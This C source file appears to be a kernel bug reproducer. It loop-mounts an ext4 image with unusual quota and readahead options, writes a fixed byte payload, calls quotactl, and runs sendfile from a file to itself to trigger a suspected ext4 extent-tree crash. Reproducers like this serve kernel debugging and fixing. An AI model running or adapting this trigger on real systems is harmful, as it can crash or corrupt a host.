#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include // Helper to handle errors void die(const char *msg) { perror(msg); exit(1); } // Global to store loop device name char loop_device_path[64]; void setup_loop_and_mount(const char *img_path, const char *mount_point) { // 1. Get a free loop device int loop_ctl_fd = open("/dev/loop-control", O_RDWR); if (loop_ctl_fd == -1) die("open /dev/loop-control"); long devnr = ioctl(loop_ctl_fd, LOOP_CTL_GET_FREE); if (devnr == -1) die("LOOP_CTL_GET_FREE"); close(loop_ctl_fd); snprintf(loop_device_path, sizeof(loop_device_path), "/dev/loop%ld", devnr); printf("[*] Using loop device: %s\n", loop_device_path); // 2. Attach image to loop device int loop_fd = open(loop_device_path, O_RDWR); if (loop_fd == -1) die("open loop device"); int img_fd = open(img_path, O_RDWR); if (img_fd == -1) die("open image file"); if (ioctl(loop_fd, LOOP_SET_FD, img_fd) == -1) die("LOOP_SET_FD"); close(img_fd); close(loop_fd); // 3. Mount the filesystem // Options derived from original repro: // inode_readahead_blks=0x200000, usrjquota=, nojournal_checksum, stripe=0x24, usrquota, mb_optimize_scan=0x1 const char *opts = "inode_readahead_blks=2097152,usrjquota=,nojournal_checksum,stripe=36,usrquota,mb_optimize_scan=1,errors=continue"; mkdir(mount_point, 0777); if (mount(loop_device_path, mount_point, "ext4", 0, opts) == -1) { die("mount"); } printf("[*] Mounted %s to %s\n", img_path, mount_point); } int main(int argc, char *argv[]) { const char *img_file = "image.img"; const char *mount_dir = "./mnt"; if (argc > 1) img_file = argv[1]; if (access(img_file, F_OK) == -1) { fprintf(stderr, "Error: %s not found. Please extract it first using extract_image.py\n", img_file); return 1; } // Setup environment system("mkdir -p ./mnt"); setup_loop_and_mount(img_file, mount_dir); char file_path[256]; snprintf(file_path, sizeof(file_path), "%s/file1", mount_dir); printf("[*] Triggering bug...\n"); // 1. Open file (First time) int fd1 = open(file_path, O_RDWR | O_CREAT, 0666); if (fd1 == -1) perror("open file1 (1)"); // 2. Write payload // This specific data pattern might be relevant for the extent tree structure char payload[] = "\x0a\x38\x16\x46\xc3\xbd\xe5\x04\xcc\x45\x43\xf0\x1c\xeb\xae\x2e\xb4\x38" "\x4d\x6a\x23\x36\x4e\x46\xc3\x0a\xbf\x1b\x5f\x16\xea\xe0\xe4\x05\xab\x25" "\x6d\x31\x7c\xf8\x30\xce\xa9\xfc\x38\x36\x38\xe6\x81\xf3\xa4\x56\x47\x64" "\x6d\xfd\x88\x25\x02\x1a\xce\x67\x93\x02\xff\x6f\x54\x40\xa8\x14\xb6\xc9" "\x08\x93\xb1\x5d\x2b\x84\x27\x8f\xde\x8f\x97\x57\x20\xc3\xd4\x6c\x32\xc3" "\x2d\x89\xfe\xd8\xf2\xf2\x79\x50\x8a\x3e\x90\xc3\xa7\x16\x53\xb1\xa0\x38" "\x4b\x6a\xf5\x4f\xaa\x0d\x42\xbc\x4d\xe0\xcf\xad\x85\x73\x01\x81\x26\xb6" "\x9b\x06\xfc\x05\xdd\x18\x54\xdc\xba\x70\xd3\x52\xde\xb9\x20\x3f\x25\x19" "\x18\xf2\x47\x51\x47\xfe\x52\x56\xfe\xf7\x72\xee\x5a\x1d\x96\x2c\x36\x6a" "\xbf\x0a\xb4\xa9\xc4\x1b\x8c\x12\x14"; if (write(fd1, payload, sizeof(payload)-1) < 0) perror("write"); // 3. Quotactl (Q_SETQUOTA) // cmd=0xffffffff80000801 -> Q_SETQUOTA | GRPQUOTA (0x1) // This might be setting up quota structures that interact with extents if (syscall(__NR_quotactl, 0x80000801, loop_device_path, 0, 0) < 0) { // Don't die here, it might fail if quota not enabled but we proceed // perror("quotactl"); } // 4. Open file (Second time) int fd2 = open(file_path, O_RDWR | O_CREAT, 0666); if (fd2 == -1) perror("open file1 (2)"); // 5. Sendfile (Self-copy) // This is the critical step that likely triggers the extent tree traversal // offset = 1, count = 0x80800 off_t offset = 1; ssize_t s = sendfile(fd2, fd2, &offset, 0x80800); printf("[*] sendfile returned: %ld\n", s); printf("[*] Done. If kernel didn't crash, the repro finished.\n"); return 0; }